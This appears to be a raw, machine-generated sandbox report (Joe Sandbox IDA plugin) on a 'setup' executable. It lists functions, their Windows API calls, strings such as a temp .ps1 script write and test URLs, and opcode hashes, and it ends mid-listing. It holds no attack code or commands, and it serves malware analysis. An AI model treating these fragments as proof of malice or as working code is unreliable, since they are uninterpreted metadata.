Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: HeapInit_thread_footerObjectSingleWait$AllocateDeleteEventFileFindProcessResetResource
String ID: TEST$http://www.example.com$http://www.google.com$http://www.yahoo.com$tin9999.tmp
API String ID: 3248508590-625802988
Opcode ID: e27ac2c185a5c9d1c4db55dda385094b9fdaaf2fa050fe23fa31c2622f0c0ad0
Instruction ID: 496d1a442978dcae6ec02733771ce0d70f0362862ee154e5e6cd04463fd2bbbd
Opcode Fuzzy Hash: e27ac2c185a5c9d1c4db55dda385094b9fdaaf2fa050fe23fa31c2622f0c0ad0
Instruction Fuzzy Hash: 77C10335905249DFDB24DF68CD45BEEBBB4FF01310F148269E81A9B2D1EB709A04CBA1

Function 00D015B0 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 302libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00C889F0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00C88A31

GetLastError.KERNEL32(02141699,?,?,?,00DF66ED,000000FF,?,00CE39A2,?), ref: 00D0161D
GetProcAddress.KERNEL32(00000000,GetPackagePath), ref: 00D017AD
GetProcAddress.KERNEL32(00000000,GetPackagePath), ref: 00D01806
FreeLibrary.KERNEL32(00000000,?,?,?,?,00DF66ED,000000FF,?,00CE39A2,?), ref: 00D018F4

Strings

GetPackagePath, xrefs: 00D017A7, 00D01800
Kernel32.dll, xrefs: 00D015F1
x64, xrefs: 00D01696
x86, xrefs: 00D01665
neutral, xrefs: 00D016B2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressProc$DirectoryErrorFreeLastLibrarySystem
String ID: GetPackagePath$Kernel32.dll$neutral$x64$x86
API String ID: 2155880084-4043905686
Opcode ID: a88824f7284b1aedcf8426779e6d18f55921726959a7358d6764ff7772aafc72
Instruction ID: f79f8d24a40646f186657ee7a83f84923174a01c485063c6fe54688b87b0c2c8
Opcode Fuzzy Hash: a88824f7284b1aedcf8426779e6d18f55921726959a7358d6764ff7772aafc72
Instruction Fuzzy Hash: 10C18A74A00209DFDB04DFA8C994B9DBBF4EF49314F188169E809EB391DB719945CFA1

Function 00BAD3E0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 157processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00BAD4E8
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00BAD4F2
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00BAD501
GetExitCodeProcess.KERNEL32(?,?), ref: 00BAD51E
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00BAD528
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00BAD535
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00BAD53F

Strings

D, xrefs: 00BAD410
"%s" %s, xrefs: 00BAD470

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLastProcess$Init_thread_footer$CloseCodeCreateExitHandleHeapObjectSingleWait
String ID: "%s" %s$D
API String ID: 2023784982-3971972636
Opcode ID: 740596377933abbc71499c318dd097bbb9ab770d0c7a3c01bb5f943584e1fab3
Instruction ID: ee403600ccab3c6a50b0a4edd296526118e5ae7c944df42923b817f7d6a43f4a
Opcode Fuzzy Hash: 740596377933abbc71499c318dd097bbb9ab770d0c7a3c01bb5f943584e1fab3
Instruction Fuzzy Hash: B051E571904205DFDB10CF69CC44B6EB7F5FF8A724F2447A9E416A7690DB70A885CBA0

Function 00BD50A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 124windowstringCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000043A,00000000,00000074), ref: 00BD5115
lstrcpynW.KERNEL32(?,?,00000020), ref: 00BD518B
GetDC.USER32(?), ref: 00BD51AE
GetDeviceCaps.GDI32(00000000), ref: 00BD51B5
MulDiv.KERNEL32(?,00000048,00000000), ref: 00BD51C8
SendMessageW.USER32(?,00000444,00000000,00000074), ref: 00BD51FA
DeleteObject.GDI32(?), ref: 00BD5236

Strings

?, xrefs: 00BD51CE
t, xrefs: 00BD51D6

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$CapsDeleteDeviceObjectlstrcpyn
String ID: ?$t
API String ID: 2619291461-1995845436
Opcode ID: 68ddcc437193423147d9d725853a1c404ba24644e8582ede5c7fa22986f708c1
Instruction ID: a210eb1e1684683b4dc2c1b2700301ff3bd663ae7a086e502c4cfd5246f2fe56
Opcode Fuzzy Hash: 68ddcc437193423147d9d725853a1c404ba24644e8582ede5c7fa22986f708c1
Instruction Fuzzy Hash: 9F514C71508740AFE721DF61DC49B9BBBE8EB48701F00492EF699E6291E774A508CB62

Function 00BB6B00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA699C,02141699,00000000,?,?,?,?,?,?,00BB632E,00DAB45D,000000FF), ref: 00BB6B3D
LoadCursorW.USER32(00000000,00007F00), ref: 00BB6BB8
LoadCursorW.USER32(00000000,00007F00), ref: 00BB6C5E
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB6CB3

Strings

AtlAxWinLic140, xrefs: 00BB6C1F, 00BB6C75
WM_ATLGETCONTROL, xrefs: 00BB6B54
WM_ATLGETHOST, xrefs: 00BB6B49
AtlAxWin140, xrefs: 00BB6B6F, 00BB6BD3
v, xrefs: 00BB6CB3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalCursorLoadSection$EnterLeave
String ID: v$AtlAxWin140$AtlAxWinLic140$WM_ATLGETCONTROL$WM_ATLGETHOST
API String ID: 3727441302-4127849342
Opcode ID: ef574327c052801ff36cc9b966d51d2b8b2098062b6490566f3731ea32de6f4c
Instruction ID: ea7993f295b3026148d952e67481dbb2ad69d9be38a51eac408fac067267e119
Opcode Fuzzy Hash: ef574327c052801ff36cc9b966d51d2b8b2098062b6490566f3731ea32de6f4c
Instruction Fuzzy Hash: BB51F4B1C01218AFDB11CFA5D855BEEBBF8FB09314F14026AE504F7291DBB55A49CBA0

Function 00C5F860 Relevance: 15.1, APIs: 10, Instructions: 127windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00C5F8DA
GetWindowRect.USER32(?,?), ref: 00C5F8F2
GetWindowRect.USER32(?,?), ref: 00C5F90A
IntersectRect.USER32(?,?,?), ref: 00C5F927
EqualRect.USER32(?,?), ref: 00C5F937
GetSysColorBrush.USER32(0000000F), ref: 00C5F94D
GetWindowRect.USER32(?,?), ref: 00C5F976
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 00C5F98B
GetWindowLongW.USER32(?,000000EC), ref: 00C5F99A
SetBrushOrgEx.GDI32(?,?,?,00000000), ref: 00C5F9B8

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Rect$Brush$ColorEqualIntersectLongPointsVisible
String ID:
API String ID: 2158939716-0
Opcode ID: 8c5982361d4da97242dd53da88d700685129050eaab000f896c86d3c0836f652
Instruction ID: 2db0677c207b94138389c5ef18455593bfa45516bd5ce843f68c1d61a3d42220
Opcode Fuzzy Hash: 8c5982361d4da97242dd53da88d700685129050eaab000f896c86d3c0836f652
Instruction Fuzzy Hash: 1E418F366083059FC710DF25D844A5BB7E8FF99715F05462EF989E3250EB30EE898B62

Function 00BBA7F0 Relevance: 15.1, APIs: 10, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00BBA831
GetClientRect.USER32(?,?), ref: 00BBA858
CreateCompatibleDC.GDI32(?), ref: 00BBA868
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00BBA889
DeleteDC.GDI32(00000000), ref: 00BBA896
FillRect.USER32(?,?,00000006), ref: 00BBA8DA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CompatibleCreateRect$BitmapClientDeleteFill
String ID:
API String ID: 1262984673-0
Opcode ID: 84e125e8a04242f15bcc06d4cd3c7a4217796b73c192d23655c206c3ce0d5d98
Instruction ID: 26668fd3d1104cbf65bf56cedf4854e42f0708d1f8843b39e1364e2d7fa8a421
Opcode Fuzzy Hash: 84e125e8a04242f15bcc06d4cd3c7a4217796b73c192d23655c206c3ce0d5d98
Instruction Fuzzy Hash: CC31C3715043019FC715DF29DC88B6BBBE8FF98304F51086EF886D2161DBB18849CB62

Function 00D8AA27 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 487COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D8ADFF

Strings

f, xrefs: 00D8AB7F
p, xrefs: 00D8AB86
p, xrefs: 00D8AB40
:, xrefs: 00D8AAF2
f, xrefs: 00D8AB1D
f, xrefs: 00D8AB39
p, xrefs: 00D8AB24

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: __aulldiv
String ID: :$f$f$f$p$p$p
API String ID: 3732870572-1434680307
Opcode ID: 13fd1634278424a41929ed8b2686992aaa1bff08d1fa4f0ef282b0c7c302f536
Instruction ID: 241fc3534a01892f4eee872c5ee23e96d50ffbaad4f3d7210d73c74e5cc4a89f
Opcode Fuzzy Hash: 13fd1634278424a41929ed8b2686992aaa1bff08d1fa4f0ef282b0c7c302f536
Instruction Fuzzy Hash: A202A4B5A002189BEF24AF6CC4446EEB7B6FF40B14F648117E555BB284D3348E85CB76

Function 00D06BA0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 178fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,ps1,ps1,00000003,?,00CE41D8), ref: 00D06C93
WriteFile.KERNEL32(00000000,0000FEFF,00000002,?,00000000), ref: 00D06CD7
WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 00D06CF4
CloseHandle.KERNEL32(00000000), ref: 00D06D0E
CloseHandle.KERNEL32(00000000,?,?,00000000,00000000), ref: 00D06D4D

Strings

Unable to save script file , xrefs: 00D06D1D
Unable to get temp file , xrefs: 00D06C74
ps1, xrefs: 00D06C09, 00D06C1B, 00D06C25, 00D06C36

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: File$CloseHandleInit_thread_footerWrite$CreateFindHeapProcessResource
String ID: Unable to get temp file $Unable to save script file $ps1
API String ID: 2821137686-4253966538
Opcode ID: 6c9660a3a9e301bf31babc46b513d9d70276ac6f0446ad761ba1e1468d4727b5
Instruction ID: f6c0de0f981807cfcf1d72f0bb8cc58eca8a161cdef5719ca9c505efdde5e4fb
Opcode Fuzzy Hash: 6c9660a3a9e301bf31babc46b513d9d70276ac6f0446ad761ba1e1468d4727b5
Instruction Fuzzy Hash: 8F51E570A00209AFDB10DBA4CD09BDEBBB8EF05714F244258E914BB2D1D775DA44CBB4

Function 00DA5D0C Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00DA6A8F), ref: 00DA5D25

Strings

asin, xrefs: 00DA5E52
exp, xrefs: 00DA5DA4, 00DA5E09
pow, xrefs: 00DA5DC3, 00DA5E6D, 00DA5EBA
sqrt, xrefs: 00DA5E64
acos, xrefs: 00DA5E5B
log, xrefs: 00DA5D82, 00DA5D91
log10, xrefs: 00DA5D67, 00DA5D76

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 6927eced9568d4df06011290e6af586427bcf2fae3c8fd1f066cfa899e40d79e
Instruction ID: bb646341c9ea3871632eec7fe4c14a6b8fe9cd46edea008f145901a0de98a148
Opcode Fuzzy Hash: 6927eced9568d4df06011290e6af586427bcf2fae3c8fd1f066cfa899e40d79e
Instruction Fuzzy Hash: 53517B74900A0ACBCF109F98F94D1EDBFB4FB4A300F194145E481AA668CB758BA9CB64

Function 00D83AD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D83B07
___except_validate_context_record.LIBVCRUNTIME ref: 00D83B0F
_ValidateLocalCookies.LIBCMT ref: 00D83B98
__IsNonwritableInCurrentImage.LIBCMT ref: 00D83BC3
_ValidateLocalCookies.LIBCMT ref: 00D83C18
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00D83C2E
___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00D83C43

Strings

csm, xrefs: 00D83BAD

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record___vcrt_initialize_locks___vcrt_uninitialize_locks
String ID: csm
API String ID: 1385549066-1018135373
Opcode ID: fbb38c5405b2e916ed7c302bfea53d12b51c5948550900351d8969b396b45fb0
Instruction ID: cdfbb499ba0710106f8a3762a2a972c311f12dcbf11035e811d52a4a820a3e2b
Opcode Fuzzy Hash: fbb38c5405b2e916ed7c302bfea53d12b51c5948550900351d8969b396b45fb0
Instruction Fuzzy Hash: 0F41D474A002099FCF10FF68C885AAEBBB5EF45724F148155E818AB392D771EA15CBB1

Function 00BA97E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 240COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00BA98C5
__Init_thread_footer.LIBCMT ref: 00BA9910

Strings

<a>, xrefs: 00BA9AD6
Hi, xrefs: 00BA991F
</a>, xrefs: 00BA9A16
<a href=", xrefs: 00BA9885
Hi, xrefs: 00BA988A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer
String ID: </a>$<a href="$<a>$Hi$Hi
API String ID: 1385522511-4214971700
Opcode ID: a4f773395ba7438b115bf6df43c42c5c2e22a01b054005730af75cb266286c35
Instruction ID: 755e41ccc0fc7f1435105e77e529ef2c140ed1b2ea9c6c91a84cc23daabd0706
Opcode Fuzzy Hash: a4f773395ba7438b115bf6df43c42c5c2e22a01b054005730af75cb266286c35
Instruction Fuzzy Hash: 4BA1A070A04708DFCB14DF64C945BAEB7F1FF8A314F144299E426AB2D1EB70A949CB61

Function 00CCD460 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00CCD5D6
GetLastError.KERNEL32 ref: 00CCD5E7
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00CCD603
GetExitCodeProcess.KERNEL32(00000000,00DEC257), ref: 00CCD614
CloseHandle.KERNEL32(00000000), ref: 00CCD622

Strings

<, xrefs: 00CCD4CF
open, xrefs: 00CCD4F7

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CloseCodeErrorExecuteExitHandleLastObjectProcessShellSingleWait
String ID: <$open
API String ID: 1481985272-1930408713
Opcode ID: 53f4dbba0f3d9ef10770691c98113cd96883f243b78f52e658e415e506c3b317
Instruction ID: 7a4664adff44436ecd280edf3a77af4b7cd417cd649dc9c9d44bd9831990049c
Opcode Fuzzy Hash: 53f4dbba0f3d9ef10770691c98113cd96883f243b78f52e658e415e506c3b317
Instruction Fuzzy Hash: D4616AB1D006499FDB10CFA9C844B9EBBB4FF49324F14826DE826AB391D7759E44CB90

Function 00BBA130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 151threadCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E,02141699,?,?,00000000,?), ref: 00BBA16E
GetCurrentThreadId.KERNEL32 ref: 00BBA1AF
EnterCriticalSection.KERNEL32(00EA699C), ref: 00BBA1CF
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BBA1F3
CreateWindowExW.USER32(00000000,00000000,00000000,00EA699C,?,80000000,00000000,80000000,00000000,00000000,00000000), ref: 00BBA24E

Part of subcall function 00D7F902: GetProcessHeap.KERNEL32(00000008,00000008,?,00BB83B7,?,?,00BB8164,?), ref: 00D7F907
Part of subcall function 00D7F902: HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F90E

Strings

AXWIN UI Window, xrefs: 00BBA2C5
v, xrefs: 00BBA1F3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalHeapSection$AllocCreateCurrentEnterErrorLastLeaveProcessThreadWindow
String ID: v$AXWIN UI Window
API String ID: 213679520-2690018532
Opcode ID: 926621ac5943f116de6fe0cef5eb505d47df0b18f25916eedb46637d19e05d30
Instruction ID: 85a2330f8fc84fe8f071a45121e54732a2bd6733231311ce1bbaffd3c28817a8
Opcode Fuzzy Hash: 926621ac5943f116de6fe0cef5eb505d47df0b18f25916eedb46637d19e05d30
Instruction Fuzzy Hash: B151B571A00345EFDB10DF59DD05BAABBF4FB89B14F10825AF904B7290D7B2A814CBA1

Function 00BBE180 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 150fileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00BBE26F

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

